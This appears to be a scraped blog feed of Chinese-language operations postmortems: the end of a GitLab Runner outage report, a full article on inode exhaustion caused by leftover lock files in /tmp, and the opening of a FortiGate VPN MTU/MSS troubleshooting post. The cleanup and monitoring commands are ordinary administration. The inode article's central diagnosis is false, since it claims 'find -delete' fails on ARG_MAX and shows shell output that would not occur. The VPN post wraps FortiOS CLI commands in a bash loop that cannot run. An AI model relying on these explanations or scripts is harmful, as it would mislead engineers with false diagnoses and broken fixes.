\u0026#39;until=24h\u0026#39;\u0026#34; post_cleanup_script = \u0026#34;docker system prune -af --volumes --filter \u0026#39;until=1h\u0026#39;\u0026#34; [runners.docker] pull_policy = \u0026#34;if-not-present\u0026#34; privileged = false volumes = [\u0026#34;/cache\u0026#34;] shm_size = 0 network_mode = \u0026#34;bridge\u0026#34; # 限制 Docker 容器资源，避免某个 Job 吃光资源 mem_limit = \u0026#34;2g\u0026#34; mem_swap_limit = \u0026#34;2g\u0026#34; cpu_limit = \u0026#34;1.5\u0026#34; [runners.cache] Type = \u0026#34;s3\u0026#34; Path = \u0026#34;gitlab-ci-cache\u0026#34; [runners.cache.s3] ServerAddress = \u0026#34;minio.example.com:9000\u0026#34; 关键点：\ncheck_interval = 5：每 5 秒检查一次 Job 状态，比默认值（0）更容易发现问题。 pre_cleanup_script：每个 Job 开始前清理 24 小时前的 Docker 资源。 post_cleanup_script：每个 Job 结束后清理 1 小时前的 Docker 资源。 mem_limit / mem_swap_limit / cpu_limit：防止单 Job 资源失控。 4.3 加监控告警\r在 Prometheus 监控里加上 GitLab Runner 的关键指标：\n1 2 3 4 # prometheus.yml - job_name: \u0026#39;gitlab-runner\u0026#39; static_configs: - targets: [\u0026#39;10.20.30.51:9252\u0026#39;, \u0026#39;10.20.30.52:9252\u0026#39;, \u0026#39;10.20.30.53:9252\u0026#39;] 监控的关键指标：\nrunner_concurrent_limit：配置的并发数。 runner_limit_used：当前在用的并发数（接近 limit 时应告警）。 gitlab_runner_jobs_total：Job 总数。 process_cpu_seconds_total：Runner 进程 CPU 使用。 process_resident_memory_bytes：Runner 进程内存。 在 Grafana 里配置告警规则：\n1 2 3 4 5 6 7 8 # CPU 持续 5 分钟 \u0026gt; 80% 100 - (avg by(instance) (rate(node_cpu_seconds_total{mode=\u0026#34;idle\u0026#34;}[5m])) * 100) \u0026gt; 80 # builds 数量异常（\u0026gt; concurrent 的 1.5 倍） runner_jobs_active \u0026gt; (runner_concurrent_limit * 1.5) # 健康检查失败 up{job=\u0026#34;gitlab-runner\u0026#34;} == 0 4.4 加自动清理 Cron\r为了防止 builds 目录再次无限膨胀，加一个 cron：\n1 2 3 4 5 6 7 8 9 # /etc/cron.daily/gitlab-runner-cleanup #!/bin/bash BUILD_DIR=\u0026#34;/var/lib/gitlab-runner/builds\u0026#34; # 只删除 7 天前且非活跃的目录 find \u0026#34;$BUILD_DIR\u0026#34; -maxdepth 2 -type d -mtime +7 -exec rm -rf {} + 2\u0026gt;/dev/null # 清理孤儿 Docker 容器 docker container prune -f --filter \u0026#34;until=24h\u0026#34; 2\u0026gt;/dev/null # 清理大体积 build cache docker builder prune -f --filter \u0026#34;until=48h\u0026#34; --keep-storage=10GB 2\u0026gt;/dev/null 五、根因分析\r本次故障的根本原因有两个层面：\n直接原因：GitLab Runner 15.5~15.10 版本存在已知 Bug（issue #27895），Runner 内部 builds map 在 Job 状态异常时不会自动清理，导致残留对象无限累积。当残留数量超过 concurrent 配置值时，jobSlot 信号量被永久占满，新 JobRequest 永远拿不到 slot，从而引发 CPU 100% 和 JobRequest 超时。\n间接原因：\n缺乏 builds 目录的定期清理机制：GitLab Runner 本身不保证历史 Job 目录一定能被清理，必须有外部脚本兜底。 没有针对 Runner 自身状态的监控告警：CPU/内存/并发使用率无任何监控，故障积累 2 个月才被察觉。 Runner 版本长期未升级：社区版 Runner 升级对业务无影响，但运维团队未建立定期升级机制，错过 5 个 Bug 修复版本。 六、预防措施\r为了避免类似问题再次发生，我们做了如下改进：\n建立 Runner 版本升级 SOP：每季度（3/6/9/12 月）评估 Runner 新版本，根据官方 Release Notes 决定是否升级。升级前在测试 Runner 上跑一遍冒烟测试。\nbuilds 目录自动清理：增加 cron 每天清理超过 7 天的历史 Job 目录，超过 50GB 立即告警。\n健康检查多维度监控：CPU、内存、builds 数量、jobSlot 占用率、JobRequest 失败率 5 个维度全部纳入监控。关键指标持续 3 分钟异常即触发 P2 告警。\nRunner 容量规划：原来 4 核 8G 跑 4 并发捉襟见肘（高峰期 CPU 经常 60%+），扩容到 8 核 16G 跑 6 并发，预留 50% 余量。\nCI 任务 Quota 机制：在 GitLab 项目级别配置 pipeline_triggers 限速，避免研发短时间大量提交触发雪崩。\n建立 Runner 故障 Runbook：将本次排查过程整理为内部 Runbook，SRE 团队 7×24 共享，新人入职必读。\n七、总结\r这次故障的教训很深刻：\n版本升级不能忽视：GitLab Runner 这类基础设施软件，官方版本迭代很快，每 1~2 个版本就有重要 Bug 修复。运维团队必须建立主动跟踪机制，而不是等到出事才升级。 状态泄漏是分布式组件的通病：任何带\u0026quot;内置状态机 + 外部存储\u0026quot;的服务（Runner、Agent、Worker），都必须有外部状态对账机制。我们缺少 builds 目录的定期清理，本质上是信任了组件内部的清理逻辑，而没有做兜底。 监控告警要前置：CPU 100% 是故障的\u0026quot;果\u0026quot;，不是\u0026quot;因\u0026quot;。真正该监控的是早期信号——builds 数量、jobSlot 占用率、JobRequest 失败率。如果这些指标 2 个月前就告警，我们有充足的时间优雅处理。 应急操作要分级：本次紧急止血时\u0026quot;清空 builds 目录\u0026quot;是有风险的（可能丢失正在运行的 Job），幸亏我们是在业务低谷期操作。生产环境操作前，务必先评估\u0026quot;破坏半径\u0026quot;。 CI/CD 是研发的生命线，保障它的稳定性是 SRE 团队的核心职责。下次遇到类似问题，第一时间定位到 Bug 版本和 Issue，比盲目重启有效得多。\n","date":"2026-06-27T16:09:09Z","permalink":"/posts/4867ee67/","title":"GitLab CI Runner 卡死致生产流水线全停的抢修"},{"content":"一、问题背景\r周三上午10点左右，公司核心交易系统的Web层突然开始大量报错。监控平台连续发出\u0026quot;应用日志写入失败\u0026quot;和\u0026quot;业务健康检查超时\u0026quot;的告警，短短5分钟内收到的告警从0飙升至47条。\n受影响的是部署在阿里云ECS上的Spring Boot交易网关服务，共3个节点，运行在CentOS 7.9系统上。该服务负责接收前端交易请求并将处理日志写入本地文件，再由Filebeat采集发送到ELK。因日志写入失败，服务开始返回HTTP 500错误，交易成功率从99.8%骤降至73%。\n前一天运维同事刚做过一次应用版本发布，第一反应是\u0026quot;新版本有bug\u0026quot;。但在回滚到上一版本后问题依旧，才意识到这很可能不是代码问题，而是基础设施层面的故障。\n二、故障现象\r登录问题节点后，首先检查应用日志：\n1 2 3 4 5 6 7 $ tail -f /var/log/trade-gateway/application.log 2026-06-27 10:03:42.127 ERROR [pool-3-thread-7] c.t.g.service.OrderService - Failed to write operation log java.io.IOException: No space left on device at java.base/java.io.FileOutputStream.writeBytes(Native Method) at java.base/java.io.FileOutputStream.write(FileOutputStream.java:354) at java.base/java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:81) ... \u0026ldquo;No space left on device\u0026rdquo;——这个报错非常明确：磁盘没空间了。\n习惯性地先查磁盘空间：\n1 2 3 4 5 6 $ df -h Filesystem Size Used Avail Use% Mounted on /dev/vda1 80G 45G 31G 60% / devtmpfs 7.8G 0 7.8G 0% /dev tmpfs 7.8G 16K 7.8G 1% /dev/shm tmpfs 7.8G 1.2M 7.8G 1% /run 看得我一愣——根分区总共80G，使用了45G，还有31G可用空间。磁盘并没有满。\n不信邪，手动创建文件试试：\n1 2 3 4 5 $ touch /tmp/test_write touch: cannot touch \u0026#39;/tmp/test_write\u0026#39;: No space left on device $ echo \u0026#34;test\u0026#34; \u0026gt; /var/log/test.log -bash: /var/log/test.log: No space left on device 磁盘明明有31GB空闲，却无法创建任何文件。这就是典型的\u0026quot;文不对题\u0026quot;——报错说没空间，df却说空间充裕。此时心里已经有了方向：大概率是inode耗尽了。\n三、排查过程\r3.1 确认inode使用情况\r遇到\u0026quot;磁盘有空间但无法创建文件\u0026quot;，第一个要检查的就是inode：\n1 2 3 4 5 6 $ df -i Filesystem Inodes IUsed IFree IUse% Mounted on /dev/vda1 5242880 5242880 0 100% / devtmpfs 2039552 407 2039145 1% /dev tmpfs 2041888 19 2041869 1% /dev/shm tmpfs 2041888 833 2041055 1% /run 真相大白。根分区一共5242880个inode，全部耗尽，IUse% = 100%。文件系统已经没有可用的inode来创建新文件了，哪怕磁盘物理空间还有大量剩余。\n3.2 定位inode消耗大户\r接下来的任务是找出哪些目录消耗了大量inode。先对整个根目录做一级统计：\n1 2 3 4 5 6 7 8 9 10 11 12 $ for dir in /*; do if [ -d \u0026#34;$dir\u0026#34; ]; then count=$(find \u0026#34;$dir\u0026#34; -xdev -printf \u0026#39;.\u0026#39; | wc -c) echo \u0026#34;$count $dir\u0026#34; fi done | sort -rn | head -10 4892012 /tmp 247163 /var 89321 /usr 31002 /opt ... 接近490万个inode集中在/tmp目录下，几乎占了全部inode的93%。这个发现让排查目标变得非常明确。\n3.3 深入/tmp目录分析\r进入/tmp目录，用ls看看情况：\n1 2 $ cd /tmp \u0026amp;\u0026amp; ls | wc -l 4850000 四百八十五万个文件！这个数字令人震惊。进一步查看文件类型分布：\n1 2 3 4 5 6 $ ls -lh /tmp | head -20 -rw-r--r-- 1 appuser appuser 0 Jun 24 03:00 .trade_lock_20260624_030001_8372 -rw-r--r-- 1 appuser appuser 0 Jun 24 03:00 .trade_lock_20260624_030002_9104 -rw-r--r-- 1 appuser appuser 0 Jun 24 03:00 .trade_lock_20260624_030003_2841 ... -rw-r--r-- 1 appuser appuser 0 Jun 27 10:00 .trade_lock_20260627_100001_5539 全是以.trade_lock_开头的隐藏文件，大小全部为0字节。这些是应用用于进程互斥的锁文件。\n查看文件的创建时间分布：\n1 2 3 4 5 6 7 $ find /tmp -name \u0026#39;.trade_lock_*\u0026#39; -printf \u0026#39;%TY-%Tm-%Td\\n\u0026#39; | sort | uniq -c | sort -rn 1520000 2026-06-25 1438000 2026-06-24 1087000 2026-06-26 696000 2026-06-23 104000 2026-06-22 ... 这批锁文件从6月22日开始累积，最近3天每天产生超过100万个。但关键问题是：为什么这些临时锁文件没有被清理？\n3.4 追查清理机制\r查了一下项目内部的定时任务和代码逻辑：\n1 2 3 $ crontab -l -u appuser # 每天凌晨3点清理/tmp下超过24小时的临时文件 0 3 * * * find /tmp -name \u0026#39;.trade_lock_*\u0026#39; -mtime +1 -delete crontab里有一条清理任务：每天凌晨3点删除/tmp下24小时以前的锁文件。逻辑看起来没问题。\n手动验证清理逻辑：\n1 2 $ find /tmp -name \u0026#39;.trade_lock_*\u0026#39; -mtime +1 | wc -l 4870000 这个结果非常奇怪——几乎全部文件都满足\u0026quot;-mtime +1\u0026quot;条件，说明它们超过24小时了，但cron任务却没能清理掉它们。\n继续深挖，查看cron的执行日志：\n1 2 $ grep \u0026#34;find /tmp\u0026#34; /var/log/cron | tail -5 Jun 27 03:00:01 trade-gw-01 CROND[19238]: (appuser) CMD (find /tmp -name \u0026#39;.trade_lock_*\u0026#39; -mtime +1 -delete) cron确实按时执行了。那为什么没删掉？把命令抄出来单独跑一下：\n1 2 $ find /tmp -name \u0026#39;.trade_lock_*\u0026#39; -mtime +1 -delete -bash: /usr/bin/find: Argument list too long 破案了！\u0026ldquo;Argument list too long\u0026rdquo;——find命令在内部处理-delete操作时，对于数百万级别的文件，exec的参数列表超出了系统限制。\n补充说明：find 的 -delete 参数会尝试在内部批量调用 unlink()，当匹配到的文件数量极其庞大时，仍然可能触发内核的 ARG_MAX 限制（可以通过 getconf ARG_MAX 查看，通常为2MB）。这个限制不仅影响 -exec ... {} \\+ 的显式调用，在文件基数达到百万级时也可能影响 -delete。\n3.5 定位cron失败的根本原因\r进一步验证：\n1 2 3 4 5 $ getconf ARG_MAX 2097152 $ find /tmp -name \u0026#39;.trade_lock_*\u0026#39; -mtime +1 | wc -c 195482103 所有过期文件路径的总长度约186MB，远超ARG_MAX的2MB限制。find命令在执行-delete时一次性匹配的文件太多，路径总长度超过了内核参数上限，导致删除操作完全失败。\n这也解释了为什么故障出现在周三——锁文件从上周日开始累积，到了周三总量突破500万，find -delete彻底失效形成\u0026quot;死锁\u0026quot;：cron定时删→delete失败→文件继续累积→下一次cron更不可能成功→恶性循环，直到inode彻底耗尽。\n四、解决方案\r4.1 紧急止血\r当务之急是让服务恢复。不能直接用rm -rf /tmp/*——/tmp下还有其他进程的运行时文件。需要精准批量删除：\n1 2 # 用find配合xargs分批删除，避免ARG_MAX限制 $ find /tmp -name \u0026#39;.trade_lock_*\u0026#39; -mtime +1 -print0 | xargs -0 -n 1000 rm -f 执行过程中持续监控inode恢复情况：\n1 $ watch -n 2 \u0026#39;df -i / | tail -1\u0026#39; 删除持续了约12分钟，inode使用率从100%降至8%。服务随即恢复正常。\n4.2 修复清理机制\r原有的cron删除命令需要改造，核心思路是让find通过管道将文件列表传给xargs分批处理，彻底绕过ARG_MAX限制：\n修改crontab：\n1 2 3 # 将原来的单条find -delete # 改为 find + xargs 分批删除模式 $ crontab -e -u appuser 1 2 # 每天凌晨3点清理/tmp下超过24小时的锁文件（xargs分批避免ARG_MAX） 0 3 * * * find /tmp -name \u0026#39;.trade_lock_*\u0026#39; -mtime +1 -print0 | xargs -0 -n 500 rm -f 4.3 调整inode监控\r在Prometheus中添加inode监控告警规则：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 groups: - name: filesystem_alerts rules: - alert: InodeUsageHigh expr: (node_filesystem_files_free / node_filesystem_files) * 100 \u0026lt; 10 for: 5m labels: severity: warning annotations: summary: \u0026#34;文件系统inode使用率超过90%\u0026#34; description: \u0026#34;主机 {{ $labels.instance }} 上 {{ $labels.mountpoint }} 的inode使用率为 {{ $value | humanize }}%，仅剩 {{ $value }}% 可用。\u0026#34; - alert: InodeUsageCritical expr: (node_filesystem_files_free / node_filesystem_files) * 100 \u0026lt; 5 for: 1m labels: severity: critical annotations: summary: \u0026#34;文件系统inode使用率超过95%，即将耗尽！\u0026#34; description: \u0026#34;主机 {{ $labels.instance }} 上 {{ $labels.mountpoint }} 的inode仅剩 {{ $value }}%，请立即处理。\u0026#34; 同时配置Node Exporter采集inode指标，确保node_filesystem_files和node_filesystem_files_free指标正常上报。\n五、根因分析\r这个问题的根本原因有三层：\n第一层（直接原因）：应用代码使用File.createTempFile()创建的锁文件没有在进程退出时正确清理。代码中虽然注册了deleteOnExit()，但当进程被kill -9强制终止时，JVM的shutdown hook不会执行，锁文件被遗留在磁盘上。\n第二层（放大因素）：cron清理脚本使用find -delete一次性处理百万级文件时触发了ARG_MAX限制，导致清理完全失效。一旦清理失败一次，后续每次cron执行都面临更多的文件，形成\u0026quot;越积越多、越积越难清\u0026quot;的死循环。\n第三层（监控缺失）：监控体系中只覆盖了磁盘空间（df -h），从未关注inode使用率（df -i）。运维团队直到故障发生才意识到inode是一个独立的资源维度。\n六、预防措施\r6.1 应用层面\r将锁文件从/tmp迁移到应用专属的工作目录，并在应用启动脚本中增加自清理逻辑：\n1 2 3 4 5 6 7 # 在应用启动前清理过期锁文件（配合xargs分批处理） cleanup_locks() { local LOCK_DIR=\u0026#34;/data/app/trade-gateway/locks\u0026#34; local MAX_AGE_MINUTES=60 find \u0026#34;$LOCK_DIR\u0026#34; -name \u0026#39;.trade_lock_*\u0026#39; -mmin \u0026#34;+${MAX_AGE_MINUTES}\u0026#34; -print0 \\ | xargs -0 -n 500 rm -f 2\u0026gt;/dev/null } 同时修改Java代码，使用try-finally确保锁文件在finally块中释放，搭配FileLock机制代替纯文件存在性判断做互斥。\n6.2 操作系统层面\r调整/tmp的挂载参数，限制inode使用上限：\n1 2 # /etc/fstab 中为 /tmp 增加nr_inodes限制 tmpfs /tmp tmpfs defaults,size=4G,nr_inodes=500000 0 0 另外，如果业务允许，可以将频繁产生小文件的目录单独分区并分配更多inode：\n1 2 # 创建文件系统时指定更多inode（默认情况下每16KB分配1个inode） mkfs.ext4 -i 4096 /dev/vdb1 # 每4KB分配1个inode，inode数量变为默认的4倍 6.3 监控层面\r强制要求所有生产服务器部署inode监控告警，与磁盘空间监控同等对待。告警阈值：inode使用率 \u0026gt; 80% 预警，\u0026gt; 90% 严重告警，\u0026gt; 95% 紧急告警。\n同时建立巡检制度，每周检查一次所有生产服务器的inode使用趋势，提前发现异常增长：\n1 2 3 4 5 # 巡检脚本示例 for host in $(cat /etc/ansible/hosts | grep \u0026#39;\\[prod\\]\u0026#39; -A 100 | grep -v \u0026#39;\\[\u0026#39;); do echo \u0026#34;=== $host ===\u0026#34; ssh $host \u0026#34;df -i / /data 2\u0026gt;/dev/null | grep -v \u0026#39;^Filesystem\u0026#39;\u0026#34; done 6.4 清理工具加固\r将cron清理脚本统一升级为带有结果校验的版本：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #!/bin/bash # /usr/local/bin/cleanup_tmp_locks.sh LOCK_DIR=\u0026#34;/tmp\u0026#34; PATTERN=\u0026#34;.trade_lock_*\u0026#34; MAX_AGE=\u0026#34;+1\u0026#34; BATCH_SIZE=500 ERROR_LOG=\u0026#34;/var/log/tmp_cleanup_error.log\u0026#34; # 分批删除 DELETED=0 while IFS= read -r -d \u0026#39;\u0026#39; file; do rm -f \u0026#34;$file\u0026#34; \u0026amp;\u0026amp; ((DELETED++)) done \u0026lt; \u0026lt;(find \u0026#34;$LOCK_DIR\u0026#34; -name \u0026#34;$PATTERN\u0026#34; -mtime \u0026#34;$MAX_AGE\u0026#34; -print0 2\u0026gt;/dev/null) # 结果校验 REMAINING=$(find \u0026#34;$LOCK_DIR\u0026#34; -name \u0026#34;$PATTERN\u0026#34; -mtime \u0026#34;$MAX_AGE\u0026#34; 2\u0026gt;/dev/null | wc -l) if [ \u0026#34;$REMAINING\u0026#34; -gt 0 ]; then echo \u0026#34;$(date): 清理不完整！已删除 $DELETED 个文件，仍有 $REMAINING 个过期文件未清理。\u0026#34; \u0026gt;\u0026gt; \u0026#34;$ERROR_LOG\u0026#34; fi 七、总结\r这次故障给我最大的教训是：运维监控不能只盯着\u0026quot;磁盘空间\u0026quot;这一个维度。\nLinux文件系统中的inode和blocks是两个独立的资源。df -h只看blocks（数据块），df -i看inodes（索引节点）。很多运维工程师只关注前者，直到某天服务器磁盘\u0026quot;明明有空间却写不进去\u0026quot;才恍然大悟——原来还有inode这回事。\n这次排查也让我意识到ARG_MAX这个内核参数在批量文件操作中的真实影响。日常运维中find -delete用得很多，通常不会出问题，但当文件数量达到百万级时，它就会成为隐藏的炸弹。xargs分批处理是一个简单而有效的解决方案，成本极低但能把系统稳定性提升一个量级。\n最后，\u0026ldquo;能写文件的磁盘就是好磁盘\u0026quot;是一个危险的假设。生产环境中，inode的消耗通常比blocks更隐蔽、更难以发现，因为小文件对物理空间的占用微乎其微，但每个文件都必须消耗一个inode。对于频繁创建临时文件的应用，inode耗尽的速度可能远超你的想象。\n","date":"2026-06-27T06:55:00Z","permalink":"/posts/6455e1b5/","title":"磁盘有空间却写不进文件？Linux inode 耗尽的坑"},{"content":"问题背景\r公司在全国有8个分支机构，均通过FortiGate防火墙与总部建立IPSec VPN隧道，日常办公依赖总部的SAP ERP系统进行订单录入、库存查询和财务审批。周一上午9点，华南分公司的30多名员工集中登录ERP系统时，纷纷反馈页面加载极慢——登录界面要等2-3分钟才能显示，进入后点击菜单经常卡死超时，只能反复刷新碰运气。\n奇怪的是，Ping总部的服务器完全正常，延迟稳定在15ms左右，traceroute也每一跳都通畅。其他通过VPN访问的服务（如邮件OA）虽然也有点慢，但不像ERP这样完全不可用。网络监控平台上VPN隧道状态显示绿灯\u0026quot;Connected\u0026quot;，流量统计正常，没有任何告警。问题持续了整个上午，严重影响了华南分公司的业务运转，紧急程度极高——财务月结审批被迫延迟，客户订单无法及时录入。\n故障现象\r故障的表现非常\u0026quot;诡异\u0026quot;，具有典型的MTU问题特征——小包通、大包不通：\n现象一：Ping正常但ERP不可用\n从华南分公司Ping总部ERP服务器10.10.1.100，100字节的小包100%成功，延迟15ms；但当Ping包大小超过1400字节时：\n1 2 3 4 5 6 7 8 C:\\Users\\zhao\u0026gt; ping 10.10.1.100 -l 100 -n 10 Reply from 10.10.1.100: bytes=100 time=15ms TTL=62 C:\\Users\\zhao\u0026gt; ping 10.10.1.100 -l 1500 -n 10 Request timed out. Request timed out. Ping statistics for 10.10.1.100: Packets: Sent = 10, Received = 0, Lost = 10 (100% loss) 现象二：ERP登录页面加载极慢或超时\n浏览器访问https://erp.company.com时，登录页的HTML框架能加载出来（小数据包），但包含CSS/JS资源的大响应体经常卡在\u0026quot;传输中\u0026quot;状态，最终浏览器报ERR_CONNECTION_TIMED_OUT。\n现象三：SSH大文件传输失败\n通过SSH从华南服务器向总部scp一个50MB的备份文件，传输开始后几秒就卡死：\n1 2 3 $ scp backup.tar.gz admin@10.10.1.50:/tmp/ backup.tar.gz 0% 0KB --:-- ETA # 卡住不动，最终Connection reset by peer 但小文件（几KB的配置文件）可以正常传输。\n现象四：TCP连接建立正常但数据传输中断\n用Wireshark在华南分公司的客户端抓包，可以看到TCP三次握手顺利完成，客户端发送HTTP GET请求后，服务器回复了第一个数据包（SYN+ACK后的初始窗口），但当服务器连续发送多个满载（满1460字节）的TCP段时，客户端迟迟收不到后续数据，最终触发TCP重传，重传若干次后连接被reset。\n关键发现：抓包中看不到任何ICMP Fragmentation Needed消息，说明IP分片所需的通知被某处拦截了。\n排查过程\r第一步：确认问题范围——是否只影响华南分公司\r第一时间联系其他7个分支，发现华东分公司（同样通过IPSec VPN接入）也反馈ERP访问缓慢，但华北分公司（通过专线接入，不走VPN）完全没有问题。这个对比非常关键——专线正常、VPN异常，问题锁定在VPN隧道层面。\n第二步：排除ERP服务器本身的问题\r直接在总部内网访问ERP服务器，响应迅速，没有任何异常。检查ERP服务器的系统负载、数据库连接池、Web服务器线程池，全部在正常范围内。确认问题不在服务器端。\n第三步：排除VPN隧道连通性问题\rVPN隧道状态在FortiGate监控面板上显示为绿色\u0026quot;Up\u0026quot;，路由表正确，Ping小包100%通过。初步排除隧道本身断裂的可能。但注意到隧道接口的MTU配置——FortiGate上VPN隧道接口默认MTU值：\n1 2 3 4 5 6 7 8 9 10 11 12 13 # 总部 FortiGate (FGT-HQ) FGT-HQ # diagnose netlink interface list vpn-tunnel-HN Name: vpn-tunnel-HN MTU: 1436 Type: IPSec Status: up # 华南 FortiGate (FGT-HN) FGT-HN # diagnose netlink interface list vpn-tunnel-HQ Name: vpn-tunnel-HQ MTU: 1436 Type: IPSec Status: up 隧道MTU为1436，这是因为IPSec ESP封装会占用额外头部空间（ESP头8字节 + ESP尾2字节 + ICV 12字节 + 外层IP头20字节 = 42字节，1500-42=1458\u0026hellip;但实际FortiGate的默认值是1436，预留了更多空间给可能的UDP封装和NAT-T）。隧道MTU本身看起来没有异常。\n第四步：用路径MTU探测定位关键问题\r使用Linux的tracepath命令进行路径MTU探测：\n1 2 3 4 5 6 7 # 从华南Linux服务器探测到总部ERP $ tracepath 10.10.1.100 1?: [LOCAL] 10.20.1.10 mtu=1500 2: 10.20.1.1 (华南FG内网口) mtu=1500 3: no reply 4: 10.10.1.1 (总部FG内网口) mtu=1436 ← 链路MTU突降! 5: 10.10.1.100 (ERP服务器) mtu=1436 关键发现：数据包经过VPN隧道后，路径MTU从1500降到了1436。这意味着从ERP服务器发往华南客户端的TCP数据包如果满载1460字节，在经过VPN隧道时会被封装成超过1500字节的IP包，需要分片。\n第五步：检查TCP MSS协商\r查看FortiGate防火墙的TCP MSS配置：\n1 2 3 4 5 # 华南 FortiGate FGT-HN # show full-configuration | grep -i mss set tcp-mss-sender 0 set tcp-mss-receiver 0 # 隧道接口未配置MSS协商 MSS值为0表示\u0026quot;未设置\u0026quot;——FortiGate不会在TCP SYN/SYN-ACK中主动修改MSS值。这意味着TCP连接建立时，ERP服务器（在1500 MTU的内网环境中）会在SYN-ACK中通告MSS=1460（MTU 1500 - 40字节IP+TCP头），华南客户端同理也在SYN中通告MSS=1460。\n这就是问题所在：双方协商的MSS=1460，但数据实际要经过MTU=1436的VPN隧道。ERP服务器按MSS=1460发送满载TCP段，封装后IP包总长 = 1460 + 40(IP头) + 42(IPSec封装) = 1542字节，超过了出接口MTU 1500！这要么需要IP分片，要么被丢弃。\n第六步：验证——为什么Ping小包通但大包不通\rICMP Echo Request小包（100字节）加上IPSec封装后仍远小于1500，无需分片，顺利通过。但1500字节的Ping包（IP层已达1500）加上IPSec封装后变成1542字节，超过了物理接口MTU，需要分片。\n第七步：为什么没有ICMP Fragmentation Needed反馈\r正常情况下，当路由器发现出接口MTU不足以转发不分片的包，且包的DF(Don\u0026rsquo;t Fragment)位为1时，应该返回ICMP Type 3 Code 4（Fragmentation Needed and DF Set）消息，通知发送方降低包大小。但我们在抓包中完全没看到这类ICMP消息！\n进一步排查发现两个原因：\nFortiGate的IPS策略拦截了ICMP Fragmentation Needed消息——查看IPS Sensor配置，发现有一条默认规则ICMP.DOS.FRGNeeded将其标记为\u0026quot;Drop\u0026quot;，这是误将路径MTU发现的必要ICMP消息当作DOS攻击了。\nERP服务器的Linux内核默认在TCP包中设置DF位——Linux的net.ipv4.tcp_df默认行为倾向于设置DF位以避免分片带来的性能损失。当DF=1的TCP包在VPN封装后超MTU且被FortiGate丢弃时，本应返回ICMP Fragmentation Needed，但被IPS拦截了。\n双重打击：服务器设置了DF位禁止分片 → FortiGate需要返回ICMP通知 → IPS策略把ICMP通知拦截了 → 服务器永远不知道自己发的包太大 → 只能不断重传同样大小的包 → 连接卡死。\n第八步：确认根因链路\r完整的因果链路：\nIPSec隧道封装增加42字节开销 → 隀道MTU从1500降到1436 TCP MSS协商未适配隧道MTU → 双方协商MSS=1460（应为1396） ERP服务器按MSS=1460发送满载TCP段 → IPSec封装后超物理接口MTU TCP包DF位=1 → 不能分片，由FortiGate丢弃 FortiGate IPS策略拦截ICMP Fragmentation Needed → 发送方收不到PMTU通知 服务器不断重传超大的TCP段 → 连接永远无法完成数据传输 小包（\u0026lt;1436-40=1396字节）不受影响 → Ping小包正常、ERP小响应体能加载 解决方案\r紧急止血（5分钟内生效）\r方案一：在FortiGate隧道接口上启用TCP MSS协商\n这是最标准的修复方式，在VPN隧道接口上设置MSS Sender和MSS Receiver值，让FortiGate在TCP SYN/SYN-ACK经过隧道时自动修改MSS值，将其限制在隧道MTU允许的范围内：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 华南 FortiGate config system interface edit \u0026#34;vpn-tunnel-HQ\u0026#34; set tcp-mss-sender 1396 set tcp-mss-receiver 1396 next end # 总部 FortiGate config system interface edit \u0026#34;vpn-tunnel-HN\u0026#34; set tcp-mss-sender 1396 set tcp-mss-receiver 1396 next end MSS值计算：隧道MTU 1436 - 40(IP头+TCP头) = 1396。设置后，FortiGate会在TCP SYN经过隧道接口时将MSS Option从1460修改为1396，确保双方协商出的最大段大小不超过隧道承载能力。\n修改后立即生效，无需重启隧道，已有连接会在下次TCP握手时使用新MSS值。\n方案二：释放IPS对ICMP Fragmentation Needed的拦截\n同时修复IPS策略，放行必要的PMTU Discovery ICMP消息：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 总部 FortiGate IPS Sensor配置 config firewall ips-policy edit \u0026#34;default-ips\u0026#34; config rule edit 1 set name \u0026#34;allow-pmtu-icmp\u0026#34; set signature \u0026#34;ICMP.DOS.FRGNeeded\u0026#34; set status disable set log enable set action pass next end next end 将ICMP.DOS.FRGNeeded规则从Drop改为Pass，确保路径MTU发现的ICMP消息能正常传递。这是TCP PMTU Discovery机制正常工作的必要条件。\n验证修复效果\r修改后从华南分公司测试：\n1 2 3 4 5 6 7 8 9 10 11 12 # Ping大包测试 C:\\Users\\zhao\u0026gt; ping 10.10.1.100 -l 1500 -n 10 Reply from 10.10.1.100: bytes=1500 time=16ms TTL=62 Reply from 10.10.1.100: bytes=1500 time=16ms TTL=62 # 100%成功！ # ERP访问测试——登录页面3秒内完整加载，菜单点击秒级响应 # SCP大文件传输测试 $ scp backup.tar.gz admin@10.10.1.50:/tmp/ backup.tar.gz 100% 50MB 12.8MB/s 00:03 # 正常完成！ 全量修复——所有分支机构VPN隧道\r紧急修复华南后，立即对所有8个分支的VPN隧道接口统一配置MSS：\n1 2 3 4 5 6 7 8 9 # 批量配置脚本（总部侧） for tunnel in vpn-tunnel-HN vpn-tunnel-HD vpn-tunnel-HB vpn-tunnel-HX vpn-tunnel-HW vpn-tunnel-HN2 vpn-tunnel-HS vpn-tunnel-HNE; do config system interface edit \u0026#34;$tunnel\u0026#34; set tcp-mss-sender 1396 set tcp-mss-receiver 1396 next end done 并在每台分支FortiGate上同样配置对应的隧道接口。\n根因分析\r问题的根本原因是 IPSec VPN隧道的MTU开销未被TCP层感知和适配，叠加 IPS策略误杀PMTU Discovery的ICMP消息，形成了\u0026quot;黑盒\u0026quot;效应：\n核心根因一：TCP MSS未适配隧道MTU\nIPSec ESP封装会在原始IP包外增加约42字节的头部开销，导致物理链路上可承载的有效载荷从1500字节降到约1458字节（考虑NAT-T UDP封装则更低）。但TCP层在握手时协商的MSS是基于直连网段MTU 1500计算得出的1460，完全不知道中间有一个MTU更低的隧道。FortiGate的隧道接口默认未开启MSS协商修改功能（tcp-mss-sender/receiver=0），导致这个信息鸿沟无法自动弥合。\n核心根因二：IPS拦截ICMP Fragmentation Needed阻断PMTU发现\nRFC 1191定义的Path MTU Discovery机制本应作为MSS协商的后备方案——当TCP包因DF位无法分片而被中间路由器丢弃时，路由器应返回ICMP Type 3 Code 4消息通知发送方降低包大小。但FortiGate的IPS默认规则将此类ICMP消息标记为潜在DOS攻击并丢弃，使得PMTU Discovery机制完全失效。\n两个根因叠加：TCP不知道隧道MTU限制（MSS过大），又无法通过ICMP得知自己发的包太大（PMTU Discovery被阻断），导致发送方陷入\u0026quot;盲重传\u0026quot;的死循环。\n预防措施\r1. 标准化VPN隧道TCP MSS配置\r制定VPN隧道配置标准，所有新建隧道接口必须设置MSS值：\n1 2 3 4 5 6 # 